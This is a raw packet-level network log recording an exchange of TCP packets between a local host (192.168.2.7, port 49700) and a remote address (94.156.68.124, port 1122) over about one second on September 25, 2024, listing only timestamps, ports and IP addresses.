Sep 25, 2024 01:11:11.434735060 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434746981 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434758902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434767008 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.434793949 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.434818983 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.446943045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.446985960 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.446996927 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447036028 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.447102070 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447113037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447123051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447143078 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.447164059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.447233915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447246075 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447300911 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.447365999 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447406054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447417974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447431087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447457075 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.447484016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.447647095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447657108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447669029 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447678089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447685957 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.447710991 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.447861910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447874069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447885036 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447896957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.447909117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.447942972 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.448112965 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448223114 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448235035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448251963 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448257923 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.448265076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448276997 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448287964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448288918 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.448298931 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448312998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448312998 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.448338032 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.448823929 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448836088 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448847055 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448860884 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448872089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.448872089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448884010 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448896885 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448906898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448906898 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.448919058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.448925972 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.448961973 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.449342966 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449353933 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449364901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449376106 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449387074 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449398041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449398994 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.449415922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449424982 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.449429035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449450016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.449484110 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.449884892 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449897051 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449908018 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449919939 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449933052 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449944019 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449945927 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.449956894 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449970007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449970961 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.449981928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.449982882 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.449994087 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450010061 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450014114 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450021982 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450041056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450050116 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450052977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450073004 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450094938 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450732946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450746059 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450757027 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450767040 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450778961 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450787067 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450790882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450809002 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450824022 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450830936 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450838089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450849056 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450860977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450870991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450875044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450881958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450892925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450894117 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450905085 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450913906 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.450918913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.450948000 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.451759100 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451771975 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451781988 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451793909 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451806068 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451816082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451823950 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.451828003 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451838970 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451849937 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451860905 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451870918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451874971 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.451883078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451894045 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.451894045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.451908112 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.451924086 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.452599049 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.452611923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.452622890 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.452639103 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.452649117 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.452653885 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.452661991 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.452672958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.452677011 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.452685118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.452689886 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.452730894 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.520391941 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520440102 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520456076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520519018 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.520562887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520581007 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520608902 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.520698071 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520714998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520731926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520739079 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.520850897 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520864964 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.520869017 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520885944 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.520910025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.521049023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521074057 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521090031 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.521090031 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521110058 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521150112 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.521298885 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521315098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521331072 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521346092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521346092 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.521362066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521373034 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.521378994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521401882 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.521645069 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521661043 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.521683931 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.533703089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.533752918 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.533766985 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.533823967 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.533834934 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.533849955 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.533900023 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.533932924 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.533957958 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.533977032 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534003019 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.534121037 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534137964 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534164906 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.534219980 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534235954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534282923 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.534362078 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534379005 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534394979 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534410954 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534426928 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534427881 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.534436941 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.534471989 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.534668922 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534686089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534702063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534715891 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534729958 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.534764051 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.534884930 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534902096 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534917116 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534931898 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.534939051 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.535141945 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535159111 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535183907 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535186052 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.535200119 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535216093 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535219908 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.535233974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535250902 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535265923 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535268068 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.535268068 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.535288095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535304070 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.535727024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535742998 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535763025 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535788059 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.535810947 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.535864115 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.535988092 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536004066 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536020041 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536030054 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536043882 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536058903 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536060095 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536077023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536091089 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536096096 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536107063 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536122084 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536134958 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536155939 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536660910 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536678076 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536694050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536710024 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536725044 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536726952 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536744118 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536744118 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536761045 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536777973 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536793947 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536803007 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536808014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536825895 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536838055 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536840916 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536845922 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536859035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536876917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.536880016 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.536984921 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.537540913 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537556887 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537573099 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537585974 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537600994 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537614107 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.537616014 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537632942 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537642002 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.537650108 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537666082 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537671089 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.537684917 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537699938 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537707090 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.537717104 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537728071 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.537731886 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537748098 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.537763119 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.537801027 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.538485050 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538502932 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538518906 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538533926 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538548946 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538556099 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.538566113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538580894 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538595915 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.538595915 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538605928 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.538614035 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538630962 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538635969 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.538646936 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538661957 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538676023 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538685083 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.538692951 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538708925 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.538712025 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.538722038 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.539319992 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.539338112 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.539357901 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.539365053 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.539374113 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.539401054 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.539413929 CEST	49700	1122	192.168.2.7	94.156.68.124
Sep 25, 2024 01:11:11.539417028 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.539433002 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.539448977 CEST	1122	49700	94.156.68.124	192.168.2.7
Sep 25, 2024 01:11:11.539450884 CEST	49700	1122	192.168.2.7	94.156.68.124
